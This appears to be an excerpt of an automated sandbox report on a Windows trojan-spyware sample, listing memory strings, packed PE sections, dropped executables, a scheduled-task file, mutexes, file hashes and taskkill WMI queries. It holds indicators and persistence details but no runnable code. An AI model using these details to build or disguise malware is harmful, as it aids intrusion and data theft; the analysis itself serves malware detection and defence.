Source: f27afcd405.exe, 0000000C.00000000.2586598836.0000000000682000.00000002.00000001.01000000.00000010.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_d1ae58d3-d
Source: f27afcd405.exe, 0000000C.00000000.2586598836.0000000000682000.00000002.00000001.01000000.00000010.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_ccc35266-6
Source: f27afcd405.exe, 00000022.00000002.2860202297.0000000000682000.00000002.00000001.01000000.00000010.sdmp String found in binary or memory: This is a third-party compiled AutoIt script. memstr_c9dcd9c2-6
Source: f27afcd405.exe, 00000022.00000002.2860202297.0000000000682000.00000002.00000001.01000000.00000010.sdmp String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer memstr_e62a55d1-9
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: CMI46CXL3718GGL9UBA.exe.0.dr Static PE information: section name:
Source: CMI46CXL3718GGL9UBA.exe.0.dr Static PE information: section name: .idata
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr Static PE information: section name:
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr Static PE information: section name: .idata
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr Static PE information: section name:
Source: skotes.exe.5.dr Static PE information: section name:
Source: skotes.exe.5.dr Static PE information: section name: .idata
Source: skotes.exe.5.dr Static PE information: section name:
Source: random[1].exe.7.dr Static PE information: section name:
Source: random[1].exe.7.dr Static PE information: section name: .idata
Source: bd73c9fe1b.exe.7.dr Static PE information: section name:
Source: bd73c9fe1b.exe.7.dr Static PE information: section name: .idata
Source: random[1].exe0.7.dr Static PE information: section name:
Source: random[1].exe0.7.dr Static PE information: section name: .rsrc
Source: random[1].exe0.7.dr Static PE information: section name: .idata
Source: random[1].exe0.7.dr Static PE information: section name:
Source: b28f5af0b9.exe.7.dr Static PE information: section name:
Source: b28f5af0b9.exe.7.dr Static PE information: section name: .rsrc
Source: b28f5af0b9.exe.7.dr Static PE information: section name: .idata
Source: b28f5af0b9.exe.7.dr Static PE information: section name:
Source: SLPBKPVSB544AP3LMUB.exe.8.dr Static PE information: section name:
Source: SLPBKPVSB544AP3LMUB.exe.8.dr Static PE information: section name: .idata
Source: 5EQND7K5L8HE276L.exe.8.dr Static PE information: section name:
Source: 5EQND7K5L8HE276L.exe.8.dr Static PE information: section name: .idata
Source: 5EQND7K5L8HE276L.exe.8.dr Static PE information: section name:
PE file has a writeable .text section
Source: num[1].exe.7.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.7.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Creates files inside the system directory
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_1_001F2A54 6_1_001F2A54
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_1_00215A58 6_1_00215A58
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_1_0024545A 6_1_0024545A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_1_001C9495 6_1_001C9495
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_1_001BE9A9 6_1_001BE9A9
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_1_001C19A8 6_1_001C19A8
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe 70CC27DA966C738D1B02FB80CE3743002343A8A7A4B8FE0A908114C723C683E5
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
Sample file is different than original file name gathered from version info
Source: file.exe, 00000000.00000003.2042618051.00000000056B8000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2040710110.00000000057DE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031954235.0000000005754000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033796877.0000000005778000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2041784748.00000000056B6000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030363949.00000000054B2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032121716.00000000056B2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033586918.000000000577C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030588459.00000000056BC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2036836180.00000000056B3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033372945.0000000005778000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2035893862.0000000005798000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2038095923.00000000057CB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2040178422.00000000057D7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2035684158.0000000005794000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030684876.0000000005312000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2041012877.00000000056BC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2053857845.00000000052C3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2035581305.00000000056B9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2036725208.00000000057AC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033053097.00000000056BE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2034656431.0000000005772000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030474816.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2042187430.00000000056B5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030764581.00000000056B7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2042934327.00000000057F5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2036951111.00000000057A8000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032311172.000000000580D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2036449555.00000000057AD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2038637495.00000000057B9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2043080243.0000000005941000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2041485243.00000000057EA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2036008881.00000000056B3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031702669.00000000056B7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2039632578.00000000057D2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2038981119.00000000057C2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2038859756.00000000056BE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031090983.0000000005754000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2035367102.00000000056B7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2035475958.00000000057A0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2043375493.0000000005807000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2036119101.000000000579A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032030259.00000000057FB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031611010.0000000005758000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2039495122.00000000056BE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031172559.00000000056B9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2042478012.0000000005941000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031004755.00000000056B9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2042332485.00000000057F6000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2038392561.00000000057BB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2037643170.00000000057BF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2037528161.00000000056B5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2034486654.00000000056B2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2035245170.0000000005796000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2034858432.00000000056BE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2034308086.0000000005779000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2039766840.00000000056C0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2038760826.00000000058C3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032404745.00000000056BF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2034200784.00000000056B5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2037066188.0000000005899000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2037978194.00000000056C1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2042036538.0000000005801000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2037410107.00000000058A7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2037293084.00000000057A7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2035035355.0000000005793000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2035141949.00000000056BC000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032217440.000000000575B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2034099085.000000000583F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2037858504.00000000058CE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2039382599.00000000057D5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032857378.0000000005764000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2041344859.00000000056B3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2047607355.00000000056BD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2034400193.000000000584E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2039246991.00000000056BF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033473789.00000000056B9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2040313955.00000000056B7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033152870.0000000005778000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033693922.00000000056B9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2037179407.00000000056B3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2040563256.00000000056B2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2034759746.0000000005847000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2053912721.0000000005233000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2035788355.00000000056B6000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2036227557.000000000588A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2040875267.0000000005905000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2039906430.00000000057D3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2033267580.00000000056B9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2036612134.00000000056BD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030844146.000000000574A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2038293122.00000000056B6000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2040036191.00000000056BB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2041204807.00000000057E6000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2043227156.00000000056BE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2032957927.000000000581E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2041629225.0000000005929000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2030923882.0000000005316000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2038516616.00000000056B2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031864534.00000000056B2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2039120248.00000000058DB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2036339491.00000000056B5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2040430503.00000000057D4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2031778184.0000000005755000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: file.exe Static PE information: Section: ZLIB complexity 0.9981325920846394
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr Static PE information: Section: ZLIB complexity 0.998414083787466
Source: S39605Y99PQJP70DBWYAE5A.exe.0.dr Static PE information: Section: axzfwsyi ZLIB complexity 0.9944146034015653
Source: skotes.exe.5.dr Static PE information: Section: ZLIB complexity 0.998414083787466
Source: skotes.exe.5.dr Static PE information: Section: axzfwsyi ZLIB complexity 0.9944146034015653
Source: random[1].exe.7.dr Static PE information: Section: ZLIB complexity 0.9981325920846394
Source: bd73c9fe1b.exe.7.dr Static PE information: Section: ZLIB complexity 0.9981325920846394
Source: random[1].exe0.7.dr Static PE information: Section: lvyqwrnu ZLIB complexity 0.994952444617844
Source: b28f5af0b9.exe.7.dr Static PE information: Section: lvyqwrnu ZLIB complexity 0.994952444617844
Source: 5EQND7K5L8HE276L.exe.8.dr Static PE information: Section: ZLIB complexity 0.998414083787466
Source: 5EQND7K5L8HE276L.exe.8.dr Static PE information: Section: axzfwsyi ZLIB complexity 0.9944146034015653
Source: b28f5af0b9.exe.7.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe0.7.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@74/22@78/11
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Code function: 4_2_04B415D0 ChangeServiceConfigA, 4_2_04B415D0
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\CMI46CXL3718GGL9UBA.exe.log Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1220:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4992:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2448:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2764:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4412:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3164:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3444:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2924:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4324:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4468:120:WilError_03
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
